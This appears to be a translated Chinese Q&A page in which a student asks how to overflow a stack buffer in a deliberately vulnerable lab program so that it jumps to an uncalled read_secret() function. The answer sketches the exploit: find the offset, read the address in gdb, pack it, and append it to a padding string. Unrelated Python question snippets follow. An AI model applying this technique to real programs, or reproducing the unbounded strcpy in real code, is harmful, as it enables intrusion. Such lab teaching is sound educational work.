缓冲区溢出攻击,执行一个未调用的函数 - python

因此,我正在尝试利用具有缓冲区溢出漏洞的程序来获取/返回锁定的.txt(read_secret())背后的秘密。

exploit.c //此处无修改

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

void read_secret() {
    FILE *fptr = fopen("/task2/secret.txt", "r");
    char secret[1024];
    fscanf(fptr, "%512s", secret);
    printf("Well done!\nThere you go, a wee reward: %s\n", secret);
    exit(0);
}

int fib(int n)
{
   if ( n == 0 )
      return 0;
   else if ( n == 1 )
      return 1;
   else
      return ( fib(n-1) + fib(n-2) );
} 

void vuln(char *name)
{
    int n = 20;
    char buf[1024];
    int f[n];
    int i;
    for (i=0; i<n; i++) {
      f[i] = fib(i);
    }
    strcpy(buf, name);
    printf("Welcome %s!\n", buf);
    for (i=0; i<20; i++) {
      printf("By the way, the %dth Fibonacci number might be %d\n", i, f[i]);
    } 
}


int main(int argc, char *argv[])
{
    if (argc < 2) {
        printf("Tell me your names, tricksy hobbitses!\n");
        return 0;
    }

    // printf("main function at %p\n", main);
    // printf("read_secret function at %p\n", read_secret);
    vuln(argv[1]);
    return 0;
}

Attack.c //要编辑

#!/usr/bin/env bash
/task2/vuln "$(python -c "print 'a' * 1026")"

我知道,如果我打印足够大的字符串,可能会导致段错误,但这并不能帮助我。我试图通过覆盖堆栈上的返回地址来使程序执行read_secret,然后返回到read_secret函数,而不是返回main。

但是我很困在这里。我知道我必须使用GDB来获取read_secret函数的地址,但是我有点困惑。我知道我必须用read_secret函数的地址替换main()地址,但是我不确定如何。

谢谢

python参考方案

如果要通过缓冲区溢出漏洞执行功能,则必须首先确定可以获取段错误的偏移量。在您的情况下,我假设其值为1026。整个游戏是覆盖eip(告诉程序下一步该做什么),然后添加您自己的指令。

要添加您自己的指令,您需要知道该指令的地址,然后在gdb中打开程序,然后键入:

x function name

然后复制地址。然后,您必须将其转换为大字节序或小字节序格式。我用python中的struct模块来做。

import struct
struct.pack("<I", address) # for little endian for big endian its different

然后,您必须将其添加到二进制输入中,如下所示:
    python -c“打印'a'* 1026 +'the_address'” | / task2 / vuln
    #在bash shell上,不在脚本中

如果所有这些都不起作用,则只需在偏移量中再添加几个字符即可。可能有您看不到的东西。

python -c "print 'a' * 1034 + 'the_address'" | /task2/vuln

希望这能回答你的问题。

Python sqlite3数据库已锁定 - python

我在Windows上使用Python 3和sqlite3。我正在开发一个使用数据库存储联系人的小型应用程序。我注意到,如果应用程序被强制关闭(通过错误或通过任务管理器结束),则会收到sqlite3错误(sqlite3.OperationalError:数据库已锁定)。我想这是因为在应用程序关闭之前,我没有正确关闭数据库连接。我已经试过了: connectio…

用大写字母拆分字符串,但忽略AAA Python Regex - python

我的正则表达式:vendor = "MyNameIsJoe. I'mWorkerInAAAinc." ven = re.split(r'(?<=[a-z])[A-Z]|[A-Z](?=[a-z])', vendor) 以大写字母分割字符串,例如:'我的名字是乔。 I'mWorkerInAAAinc”变成…

查找字符串中的行数 - python

我正在创建一个python电影播放器​​/制作器,我想在多行字符串中找到行数。我想知道是否有任何内置函数或可以编写代码的函数来做到这一点:x = """ line1 line2 """ getLines(x) python大神给出的解决方案 如果换行符是'\n',则nlines …

字符串文字中的正斜杠表现异常 - python

为什么S1和S2在撇号位置方面表现不同?S1="1/282/03/10" S2="4/107/03/10" R1="".join({"N\'" ,S1,"\'" }) R2="".join({"N\'…

Pycharm失去了视图和模板之间的连接 - python

有一天,我发现一个Django应用程序失去了视图和模板之间的连接。我检查了整个项目,此问题仅得到一个应用程序。函数和模板之间的视图没有连接。模板中没有突出显示代码,模板中没有代码完成,并且模板无法识别标签,例如:{% url%}, <script src="{% static '...'%}"> </…